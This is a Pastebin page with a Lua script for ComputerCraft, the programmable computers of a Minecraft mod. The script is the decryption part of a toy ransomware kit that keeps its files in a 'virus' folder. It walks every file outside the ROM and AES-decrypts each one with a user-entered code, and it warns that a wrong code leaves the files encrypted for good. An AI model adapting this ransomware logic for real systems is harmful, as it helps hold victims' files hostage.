Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local function getSubPaths(path)
- local list = fs.list(path)
- local paths = {}
- for _, name in pairs(list) do
- local newPath = fs.combine(path, name)
- if (fs.isDir(newPath)) then
- local subPaths = getSubPaths(newPath)
- for i = 1, #subPaths do
- paths[#paths+1] = subPaths[i]
- end
- else
- paths[#paths+1] = newPath
- end
- end
- return paths
- end
- local function getPaths(path, readROM)
- if (path == "" or path == "/") then
- if (readROM) then
- return getSubPaths(path)
- else
- local list = fs.list("/")
- local paths = {}
- for _, path in pairs(list) do
- if (path ~= "rom") then
- if (fs.isDir(path)) then
- local subPaths = getSubPaths(path)
- for i = 1, #subPaths do
- paths[#paths+1] = subPaths[i]
- end
- else
- paths[#paths+1] = path
- end
- end
- end
- return paths
- end
- else
- return getSubPaths(path)
- end
- end
- print("Enter decrypt code: ")
- write("> ")
- dc = read()
- print("Confirm? (Y/N)")
- print("If the code is wrong your files will be encrypted permanently.")
- write("> ")
- c = read()
- if c == "Y" then
- local files = getPaths("/", false)
- for _,v in pairs(files) do
- if v == "virus/aeslua" or v == "virus/logsalt" or v == "virus/vir" or v == "virus/decrypt" then
- else
- f = fs.open(v,"r")
- t = f.readAll()
- f.close()
- con = aeslua.decrypt(dc,t)
- f = fs.open(v,"w")
- f.write(con)
- f.close()
- print("Decrypted file " .. v)
- end
- end
- else print("You didnt confirm (the Y has to be capital)") end
Advertisement
Add Comment
Please, Sign In to add comment